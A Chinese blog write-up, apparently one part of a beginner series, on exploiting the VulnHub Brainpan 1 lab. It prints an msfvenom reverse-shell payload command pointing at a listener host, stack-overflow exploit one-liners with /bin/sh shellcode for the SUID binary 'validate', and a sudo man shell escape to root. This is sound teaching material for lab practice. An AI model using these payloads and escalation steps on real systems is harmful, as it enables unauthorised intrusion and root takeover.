web选手入门pwn(7)
2022-10-13 17:15:55 Author: 珂技知识分享(查看原文) 阅读量:7 收藏

上一篇文章提到的brainpan.exe是一个靶机,这个靶机后续还有个pwn,于是一并说了。

http://www.vulnhub.com/entry/brainpan-1,51/

https://github.com/kezibei/pwn_study/blob/main/validate

1.    brainpan.exe反弹shell

该靶机在10000端口上放了brainpan.exe。

在9999端口用wine开启brainpan.exe,因此需要反弹linux shell。

msfvenom -p "linux/x86/meterpreter/reverse_tcp" lhost=2.2.2.2 lport=5667 exitfunc=thread -b "\x00" -f c

具体payload该怎么写参考上一篇文章,成功获得shell,接下来要提权到root。

国外的靶机很多时候都是SUID提权,搜索带S权限的执行文件。

找到了我们今天的主角validate,查看所有权,是另外一个用户。

利用msf的download命令下载下来,发现是第二个pwn题。

2.    validate

这题和ret2stack差不多,先看保护。

什么都没有,特别是NX都关了,这种一般就是为了让你在栈上执行shellcode。
再去ida上看反编译代码。

跟进validate()发现溢出点strcpy()

这里会循环传参的每个字节,如果存在F直接退出,似乎干扰了一下payload不允许存在F,但实际无所谓。

还是手动调试找偏移量,这里gdb里b strcpy无法下到断点,直接b main或者b validate的话由于有for循环,手动跟踪到strcpy也比较麻烦。我们可以在代码中下断。
disass validate
b* 0x08048527

然后调试到溢出时的栈布局
r AAAA
n
stack 50

eax,ebp,ret一目了然,偏移量为116。

这题不存在后门函数,可以用exit来测试一下payload。
./validate `python -c 'print("A"*116+"\x08\x04\x83\xec"[::-1])'`

完美,这种最传统的栈溢出,只需要将shellcode放在栈上,也就是成为116个A的一部分,或者放在ret地址后面。ret地址再指向shellcode在栈地址就行了(栈地址没有00),但经过ret2stack的学习,我们知道了这个栈地址受很多因素影响(ALSR/环境变量),gdb中调试出来的答案,直接溢出很大可能不成功。
我们先按ret2stack的NOP解决方案尝试溢出,在直接用上面的eax作为ret,shellcode用pwntools自带的asm(shellcraft.sh()),然后将shellcode放在116个NOP的中间。

b = "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"a = "\x90"*36+b+"\x90"*36+"\xff\xff\xd1\x28"[::-1]print(a)

关闭ALSR之后可以溢出成功。

在brainpan.exe中,我们是用jmp esp强制跳栈顶导致溢出,那么这题有吗
?以下是两种搜索方法。
ROPgadget --binary ./validate --only "jmp|esp"
objdump -d validate | grep jmp | grep esp

都没有,甚至和jmp相关的都指向代码段。但除了jmp之外,还有call给我们利用。

call eax,在ida中查看对应地址,发现frame_dummy,似乎又是留给我们的后门函数。

eax也能利用吗?gdb调试查看eax全程指向地址。

从strcpy一直到执行栈中的NOP,都指向0xffffd0b8,那么答案就清晰了。

validate `python -c 'print("\x90"*36+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"+"\x90"*36+"\x08\x04\x84\xAF"[::-1])'`

3.    提权

回到msf,使用我们的payload,提权到anansi。

看看用户目录里有什么

有个anansi_util的二进制文件,但没有s权限,用户也是它自己,sudo -l之后发现它拥有无密码sudo的配置。

变相的SUID,难道又是个pwn?

将其复制到tmp目录后,用msf下载回来,ida打开看源码。

本质上就是ip,man,top的SUID,其中man可以用来提权。

sudo /home/anansi/bin/anansi_util manual man

!/bin/sh



文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485696&idx=1&sn=25de5d3c41813ab3a4460e6153c1ff32&chksm=fa97346fcde0bd79335f2b583ba7370cee948e4ab9ae7b1595fdde4079d71dbf22647b9e8e88#rd
如有侵权请联系:admin#unsafe.sh